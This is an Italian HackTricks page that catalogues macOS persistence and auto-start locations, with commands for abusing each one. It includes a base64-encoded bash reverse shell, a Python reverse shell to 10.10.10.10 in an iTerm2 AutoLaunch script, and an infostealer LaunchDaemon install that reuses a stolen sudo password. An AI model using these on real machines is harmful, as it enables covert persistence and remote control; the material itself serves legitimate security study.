Avvio automatico macOS
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questa sezione si basa fortemente sulla serie di blog Beyond the good ol’ LaunchAgents, lo scopo è aggiungere più posizioni di avvio automatico (se possibile), indicare quali tecniche funzionano ancora al giorno d’oggi con l’ultima versione di macOS (13.4) e specificare i permessi necessari.
Sandbox Bypass
Tip
Qui puoi trovare posizioni di avvio utili per sandbox bypass che ti permettono di eseguire qualcosa semplicemente scrivendolo in un file e aspettando una azione molto comune, un periodo di tempo determinato o un’azione che di solito puoi eseguire dall’interno di una sandbox senza necessitare dei permessi di root.
Launchd
Locations
/Library/LaunchAgents- Trigger: Riavvio
- Richiede root
/Library/LaunchDaemons- Trigger: Riavvio
- Richiede root
/System/Library/LaunchAgents- Trigger: Riavvio
- Richiede root
/System/Library/LaunchDaemons- Trigger: Riavvio
- Richiede root
~/Library/LaunchAgents- Trigger: Rilogin
~/Library/LaunchDemons- Trigger: Rilogin
Tip
Come fatto interessante,
launchdha una property list incorporata nella sezione Mach-O__Text.__configche contiene altri servizi ben noti che launchd deve avviare. Inoltre, questi servizi possono contenereRequireSuccess,RequireRuneRebootOnSuccess, il che significa che devono essere eseguiti e completati con successo.Ovviamente, non può essere modificata a causa del code signing.
Description & Exploitation
launchd è il primo processo eseguito dal kernel di OX S all’avvio e l’ultimo a terminare allo spegnimento. Dovrebbe avere sempre il PID 1. Questo processo legge ed esegue le configurazioni indicate nei plists ASEP in:
/Library/LaunchAgents: Agenti per utente installati dall’amministratore/Library/LaunchDaemons: Daemon di sistema installati dall’amministratore/System/Library/LaunchAgents: Agenti per utente forniti da Apple./System/Library/LaunchDaemons: Daemon di sistema forniti da Apple.
Quando un utente effettua il login i plists situati in /Users/$USER/Library/LaunchAgents e /Users/$USER/Library/LaunchDemons vengono avviati con i permessi dell’utente connesso.
La principale differenza tra agents e daemons è che gli agents vengono caricati quando l’utente effettua il login e i daemons vengono caricati all’avvio del sistema (poiché ci sono servizi come ssh che devono essere eseguiti prima che qualsiasi utente acceda al sistema). Inoltre gli agents possono usare una GUI mentre i daemons devono funzionare in background.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
Ci sono casi in cui un agent deve essere eseguito prima che l’utente effettui il login, questi sono chiamati PreLoginAgents. Ad esempio, questo è utile per fornire tecnologie assistive al momento del login. Possono essere trovati anche in /Library/LaunchAgents(see here an example).
Tip
I nuovi file di configurazione di Daemons o Agents saranno caricati dopo il prossimo reboot o usando
launchctl load <target.plist>È anche possibile caricare .plist files senza quell’estensione conlaunchctl -F <file>(tuttavia quei plist files non verranno automaticamente caricati dopo il reboot).
È anche possibile unload conlaunchctl unload <target.plist>(il processo indicato verrà terminato),Per assicurarsi che non ci sia nulla (come un override) che impedisca a un Agent o Daemon di eseguire, eseguire:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
Elenca tutti gli Agents e Daemons caricati dall’utente corrente:
launchctl list
Esempio di catena LaunchDaemon dannosa (riutilizzo della password)
Un recente infostealer per macOS ha riutilizzato una password sudo acquisita per depositare un user agent e un LaunchDaemon di root:
- Scrivere il ciclo dell’agent in
~/.agente renderlo eseguibile. - Generare un plist in
/tmp/starterche punti a quell’agent. - Riutilizzare la password acquisita con
sudo -Sper copiarla in/Library/LaunchDaemons/com.finder.helper.plist, impostareroot:wheele caricarla conlaunchctl load. - Avviare l’agent in modo silenzioso tramite
nohup ~/.agent >/dev/null 2>&1 &per distaccare l’output.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
Se un plist è di proprietà di un utente, anche se si trova nelle cartelle di sistema per i daemon, la attività verrà eseguita come l’utente e non come root. Questo può prevenire alcuni attacchi di escalation di privilegi.
Altre informazioni su launchd
launchd è il primo processo in user mode avviato dal kernel. L’avvio del processo deve avere successo e non può terminare o andare in crash. È persino protetto contro alcuni segnali di terminazione.
Una delle prime cose che launchd fa è avviare tutti i daemon, come:
- Timer daemons basati sul tempo per l’esecuzione:
- atd (
com.apple.atrun.plist): Ha unStartIntervaldi 30min - crond (
com.apple.systemstats.daily.plist): HaStartCalendarIntervalper avviarsi alle 00:15 - Network daemons come:
org.cups.cups-lpd: Ascolta su TCP (SockType: stream) conSockServiceName: printer- SockServiceName deve essere o una porta o un servizio da
/etc/services com.apple.xscertd.plist: Ascolta su TCP sulla porta 1640- Path daemons che vengono eseguiti quando un percorso specificato cambia:
com.apple.postfix.master: Controlla il percorso/etc/postfix/aliases- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist: Indica nell’entryMachServicesil nomecom.apple.xscertd.helper- UserEventAgent:
- Questo è diverso dal precedente. Fa sì che launchd lanci applicazioni in risposta a eventi specifici. Tuttavia, in questo caso il binario principale coinvolto non è
launchdma/usr/libexec/UserEventAgent. Carica plugin dalla cartella, limitata da SIP, /System/Library/UserEventPlugins/ dove ogni plugin indica il suo inizializzatore nella chiaveXPCEventModuleInitializeroppure, nel caso dei plugin più vecchi, nel dizionarioCFPluginFactoriessotto la chiaveFB86416D-6164-2070-726F-70735C216EC0del suoInfo.plist.
File di avvio della shell
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Useful to bypass sandbox: ✅
- TCC Bypass: ✅
- Ma è necessario trovare un’app con un TCC bypass che esegua una shell che carica questi file
Posizioni
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Attivazione: Aprire un terminale con zsh
/etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Attivazione: Aprire un terminale con zsh
- Richiede root
~/.zlogout- Attivazione: Uscire da un terminale con zsh
/etc/zlogout- Attivazione: Uscire da un terminale con zsh
- Richiede root
- Potenzialmente altro in:
man zsh ~/.bashrc- Attivazione: Aprire un terminale con bash
/etc/profile(non ha funzionato)~/.profile(non ha funzionato)~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Attivazione: Si prevedeva l’innesco con xterm, ma non è installato e anche dopo l’installazione viene mostrato questo errore: xterm:
DISPLAY is not set
Descrizione & Sfruttamento
Quando si avvia un ambiente shell come zsh o bash, alcuni file di avvio vengono eseguiti. macOS attualmente usa /bin/zsh come shell predefinita. Questa shell viene invocata automaticamente quando l’applicazione Terminal viene avviata o quando un dispositivo viene raggiunto via SSH. Mentre bash e sh sono anch’essi presenti in macOS, devono essere invocati esplicitamente per essere utilizzati.
La pagina man di zsh, che possiamo leggere con man zsh, contiene una lunga descrizione dei file di avvio.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
Applicazioni riaperte
Caution
La configurazione dell’exploitation indicata e il log out e il log in o anche il riavvio non hanno funzionato per me per far eseguire l’app. (L’app non veniva eseguita, forse deve essere in esecuzione quando queste azioni vengono effettuate)
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
Location
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- Trigger: Restart — riapertura delle applicazioni
Descrizione & Exploitation
Tutte le applicazioni da riaprire sono contenute nel plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Quindi, per far sì che le applicazioni riaperte lancino la tua, devi solo aggiungere la tua app alla lista.
L’UUID può essere trovato listando quella directory o con ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'
Per controllare le applicazioni che verranno riaperte puoi fare:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Per aggiungere un’applicazione a questa lista puoi usare:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal Preferences
- Utile per bypassare la sandbox: ✅
- TCC bypass: ✅
- Terminal tende ad avere i permessi FDA dell’utente che lo utilizza
Location
~/Library/Preferences/com.apple.Terminal.plist- Trigger: Open Terminal
Descrizione e Sfruttamento
In ~/Library/Preferences sono memorizzate le preferenze dell’utente per le applicazioni. Alcune di queste preferenze possono contenere una configurazione per eseguire altre applicazioni/script.
Per esempio, Terminal può eseguire un comando all’avvio:
.png)
Questa configurazione è riflessa nel file ~/Library/Preferences/com.apple.Terminal.plist in questo modo:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
Quindi, se il plist delle preferenze del terminal nel sistema potesse essere sovrascritto, la funzionalità open può essere usata per aprire il terminal e quel comando verrà eseguito.
Puoi aggiungerlo da cli con:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Script Terminal / Altre estensioni di file
- Utile per bypassare la sandbox: ✅
- Bypass TCC: ✅
- Terminal tende ad avere i permessi FDA dell’utente che lo utilizza
Posizione
- Ovunque
- Trigger: Apri Terminal
Descrizione & Sfruttamento
Se crei uno script .terminal e lo apri, l’app Terminal verrà invocata automaticamente per eseguire i comandi indicati al suo interno. Se l’app Terminal ha privilegi speciali (ad esempio TCC), il tuo comando verrà eseguito con quei privilegi speciali.
Provalo con:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.
Caution
Se Terminal ha Full Disk Access sarà in grado di completare quell’azione (nota che il comando eseguito sarà visibile in una terminal window).
Audio Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
Location
/Library/Audio/Plug-Ins/HAL- Richiede root
- Trigger: Riavvia coreaudiod o il computer
/Library/Audio/Plug-ins/Components- Richiede root
- Trigger: Riavvia coreaudiod o il computer
~/Library/Audio/Plug-ins/Components- Trigger: Riavvia coreaudiod o il computer
/System/Library/Components- Richiede root
- Trigger: Riavvia coreaudiod o il computer
Description
Secondo i writeup precedenti è possibile compilare alcuni audio plugins e far sì che vengano caricati.
QuickLook Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Location
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
Description & Exploitation
I QuickLook plugins possono essere eseguiti quando attivi l’anteprima di un file (premi la barra spaziatrice con il file selezionato in Finder) e è installato un plugin che supporta quel tipo di file.
È possibile compilare il proprio plugin QuickLook, posizionarlo in una delle posizioni precedenti per caricarlo e poi andare su un file supportato e premere la barra spaziatrice per attivarlo.
Login/Logout Hooks
Caution
Questo non ha funzionato per me, né con il LoginHook dell’utente né con il LogoutHook di root
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
Location
- Devi poter eseguire qualcosa come
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh Located in~/Library/Preferences/com.apple.loginwindow.plist
Sono deprecati ma possono essere usati per eseguire comandi quando un utente effettua il login.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
Questa impostazione è memorizzata in /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
Per eliminarlo:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
La voce dell’utente root si trova in /private/var/root/Library/Preferences/com.apple.loginwindow.plist
Bypass Condizionale della Sandbox
Tip
Qui puoi trovare posizioni di avvio utili per sandbox bypass che ti permettono di eseguire qualcosa semplicemente scrivendolo in un file e aspettandoti condizioni non troppo comuni come specifici programmi installati, azioni “non comuni” dell’utente o ambienti.
Cron
Writeup: https://theevilbit.github.io/beyond/beyond_0004/
- Utile per bypass sandbox: ✅
- Tuttavia, devi poter eseguire il binario
crontab - Oppure essere root
- TCC bypass: 🔴
Posizione
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- Root richiesto per accesso diretto in scrittura. Non è richiesto root se puoi eseguire
crontab <file> - Trigger: Dipende dal cron job
Descrizione e Sfruttamento
Elenca i cron job dell’utente corrente con:
crontab -l
Puoi anche vedere tutti i cron jobs degli utenti in /usr/lib/cron/tabs/ e /var/at/tabs/ (richiede root).
In MacOS si possono trovare diverse cartelle che eseguono script con una certa frequenza in:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
Qui puoi trovare i normali cron jobs, gli at jobs (poco usati) e i periodic jobs (usati principalmente per pulire i file temporanei). I periodic giornalieri possono essere eseguiti, per esempio, con: periodic daily.
Per aggiungere un user cronjob programmaticamente è possibile usare:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
Writeup: https://theevilbit.github.io/beyond/beyond_0002/
Posizioni
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- Attivazione: Apri iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- Attivazione: Apri iTerm
~/Library/Preferences/com.googlecode.iterm2.plist- Attivazione: Apri iTerm
Descrizione & Sfruttamento
Scripts memorizzati in ~/Library/Application Support/iTerm2/Scripts/AutoLaunch verranno eseguiti. Ad esempio:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
o:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
Lo script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt verrà eseguito anche:
do shell script "touch /tmp/iterm2-autolaunchscpt"
Le preferenze di iTerm2 situate in ~/Library/Preferences/com.googlecode.iterm2.plist possono indicare un comando da eseguire quando il terminale iTerm2 viene aperto.
Questa impostazione può essere configurata nelle impostazioni di iTerm2:
.png)
E il comando è riportato nelle preferenze:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
Puoi impostare il comando da eseguire con:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
Molto probabile che esistano altri modi per abusare delle preferenze di iTerm2 per eseguire comandi arbitrari.
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
- Utile per bypassare la sandbox: ✅
- Ma xbar deve essere installato
- Bypass TCC: ✅
- Richiede i permessi di Accessibility
Location
~/Library/Application\ Support/xbar/plugins/- Trigger: Una volta avviato xbar
Description
Se il popolare programma xbar è installato, è possibile scrivere uno script shell in ~/Library/Application\ Support/xbar/plugins/ che verrà eseguito quando xbar viene avviato:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
Writeup: https://theevilbit.github.io/beyond/beyond_0008/
- Useful to bypass sandbox: ✅
- Ma Hammerspoon deve essere installato
- TCC bypass: ✅
- Richiede permessi di Accessibility
Location
~/.hammerspoon/init.lua- Trigger: Once hammerspoon is executed
Description
Hammerspoon funge da piattaforma di automazione per macOS, sfruttando il LUA scripting language per le sue operazioni. Nota particolarmente utile: supporta l’integrazione di codice completo AppleScript e l’esecuzione di shell scripts, arricchendo notevolmente le sue capacità di scripting.
L’app cerca un singolo file, ~/.hammerspoon/init.lua, e quando avviata lo script verrà eseguito.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Utile per bypassare la sandbox: ✅
- Ma BetterTouchTool deve essere installato
- TCC bypass: ✅
- Richiede i permessi Automation-Shortcuts e Accessibility
Posizione
~/Library/Application Support/BetterTouchTool/*
Questo tool permette di indicare applicazioni o script da eseguire quando vengono premute alcune scorciatoie. Un attacker potrebbe essere in grado di configurare la propria scorciatoia e azione da eseguire nel database per far eseguire codice arbitrario (una scorciatoia potrebbe essere semplicemente la pressione di un tasto).
Alfred
- Utile per bypassare la sandbox: ✅
- Ma Alfred deve essere installato
- TCC bypass: ✅
- Richiede i permessi Automation, Accessibility e anche Full-Disk access
Posizione
???
Permette di creare workflow che possono eseguire codice quando vengono soddisfatte certe condizioni. Potenzialmente è possibile per un attacker creare un file di workflow e far sì che Alfred lo carichi (è necessario pagare la versione premium per usare i workflow).
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- Utile per bypassare la sandbox: ✅
- Ma ssh deve essere abilitato e usato
- TCC bypass: ✅
- SSH in passato poteva avere accesso FDA
Posizione
~/.ssh/rc- Attivazione: Login via ssh
/etc/ssh/sshrc- Richiede root
- Attivazione: Login via ssh
Caution
Per attivare ssh è necessario Full Disk Access:
sudo systemsetup -setremotelogin on
Descrizione & Sfruttamento
Di default, a meno che non ci sia PermitUserRC no in /etc/ssh/sshd_config, quando un utente effettua il login via SSH gli script /etc/ssh/sshrc e ~/.ssh/rc verranno eseguiti.
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
Posizioni
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Attivazione: Login
- Payload dell’exploit memorizzato richiamando
osascript /var/db/com.apple.xpc.launchd/loginitems.501.plist- Attivazione: Login
- Richiede root
Descrizione
Nelle Preferenze di Sistema -> Users & Groups -> Login Items puoi trovare elementi da eseguire quando l’utente effettua il login.
È possibile elencarli, aggiungerli e rimuoverli dalla riga di comando:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
Questi elementi sono memorizzati nel file ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
Login items possono anche essere indicati usando l’API SMLoginItemSetEnabled che memorizzerà la configurazione in /var/db/com.apple.xpc.launchd/loginitems.501.plist
ZIP come Login Item
(Controlla la sezione precedente su Login Items, questa è un’estensione)
Se memorizzi un file ZIP come Login Item l’Archive Utility lo aprirà e se lo zip era, per esempio, memorizzato in ~/Library e conteneva la cartella LaunchAgents/file.plist con un backdoor, quella cartella verrà creata (non lo è di default) e il plist verrà aggiunto così la prossima volta che l’utente effettua il login, il backdoor indicato nel plist verrà eseguito.
Un’altra opzione sarebbe creare i file .bash_profile e .zshenv nella HOME dell’utente così, se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque.
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
Location
- È necessario eseguire
ate deve essere abilitato
Description
at tasks sono progettati per schedulare attività una tantum da eseguire in determinati orari. A differenza dei cron jobs, i task at vengono rimossi automaticamente dopo l’esecuzione. È importante notare che queste attività sono persistenti attraverso i reboot del sistema, rendendole potenziali problemi di sicurezza in determinate condizioni.
Per impostazione predefinita sono disabilitati, ma l’utente root può abilitarli con:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
Questo creerà un file in 1 ora:
echo "echo 11 > /tmp/at.txt" | at now+1
Controlla la coda dei job usando atq:
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
Sopra possiamo vedere due job schedulati. Possiamo stampare i dettagli del job usando at -c JOBNUMBER
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
Se le attività AT non sono abilitate, le attività create non verranno eseguite.
I file di job si trovano in /private/var/at/jobs/
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
Il nome del file contiene la queue, il job number, e l’ora in cui è programmato per l’esecuzione. Ad esempio prendiamo in esame a0001a019bdcd2.
a- questa è la queue0001a- job number in hex,0x1a = 26019bdcd2- time in hex. Rappresenta i minuti trascorsi dall’epoch.0x019bdcd2è26991826in decimale. Se lo moltiplichiamo per 60 otteniamo1619509560, che corrisponde aGMT: 2021. April 27., Tuesday 7:46:00.
Se stampiamo il job file, troviamo che contiene le stesse informazioni ottenute usando at -c.
Folder Actions
Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- Useful to bypass sandbox: ✅
- Ma è necessario poter chiamare
osascriptcon argomenti per contattareSystem Eventsper poter configurare Folder Actions - TCC bypass: 🟠
- Ha alcune autorizzazioni TCC di base come Desktop, Documents e Downloads
Location
/Library/Scripts/Folder Action Scripts- Richiede root
- Trigger: Accesso alla cartella specificata
~/Library/Scripts/Folder Action Scripts- Trigger: Accesso alla cartella specificata
Description & Exploitation
Folder Actions sono script attivati automaticamente da modifiche in una cartella, come l’aggiunta o la rimozione di elementi, o altre azioni come l’apertura o il ridimensionamento della finestra della cartella. Queste azioni possono essere utilizzate per vari compiti e possono essere innescate in modi diversi, ad esempio tramite la Finder UI o comandi da terminale.
Per configurare Folder Actions, hai opzioni come:
- Creare un workflow Folder Action con Automator e installarlo come servizio.
- Allegare uno script manualmente tramite il Folder Actions Setup nel menu contestuale di una cartella.
- Utilizzare OSAScript per inviare Apple Event a
System Events.appper configurare programmaticamente una Folder Action.
- Questo metodo è particolarmente utile per incorporare l’azione nel sistema, offrendo un livello di persistenza.
Lo script seguente è un esempio di ciò che può essere eseguito da una Folder Action:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Per rendere lo script sopra utilizzabile con Folder Actions, compilalo usando:
osacompile -l JavaScript -o folder.scpt source.js
Dopo che lo script è stato compilato, configura Folder Actions eseguendo lo script riportato di seguito. Questo script abiliterà Folder Actions a livello globale e collegherà specificamente lo script compilato in precedenza alla cartella Desktop.
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
Esegui lo script di setup con:
osascript -l JavaScript /Users/username/attach.scpt
- Questo è il modo per implementare questa persistenza tramite GUI:
Questo è lo script che verrà eseguito:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
Compilalo con: osacompile -l JavaScript -o folder.scpt source.js
Spostalo in:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Quindi, apri l’app Folder Actions Setup, seleziona la cartella che vuoi monitorare e scegli nel tuo caso folder.scpt (nel mio caso l’ho chiamata output2.scp):
.png)
Adesso, se apri quella cartella con Finder, il tuo script verrà eseguito.
Questa configurazione è stata salvata nel plist situato in ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist in formato base64.
Adesso proviamo a preparare questa persistenza senza accesso GUI:
- Copia
~/Library/Preferences/com.apple.FolderActionsDispatcher.plistin/tmpper eseguirne il backup:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Rimuovi le Folder Actions che hai appena impostato:
.png)
Ora che abbiamo un ambiente vuoto
- Copia il file di backup:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - Apri Folder Actions Setup.app per caricare questa configurazione:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
E questo non ha funzionato per me, ma queste sono le istruzioni dal writeup:(
Scorciatoie del Dock
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
- Utile per bypassare la sandbox: ✅
- Ma devi aver installato un’applicazione malevola nel sistema
- TCC bypass: 🔴
Posizione
~/Library/Preferences/com.apple.dock.plist- Trigger: Quando l’utente clicca sull’app nel Dock
Descrizione & Sfruttamento
Tutte le applicazioni che appaiono nel Dock sono specificate all’interno del plist: ~/Library/Preferences/com.apple.dock.plist
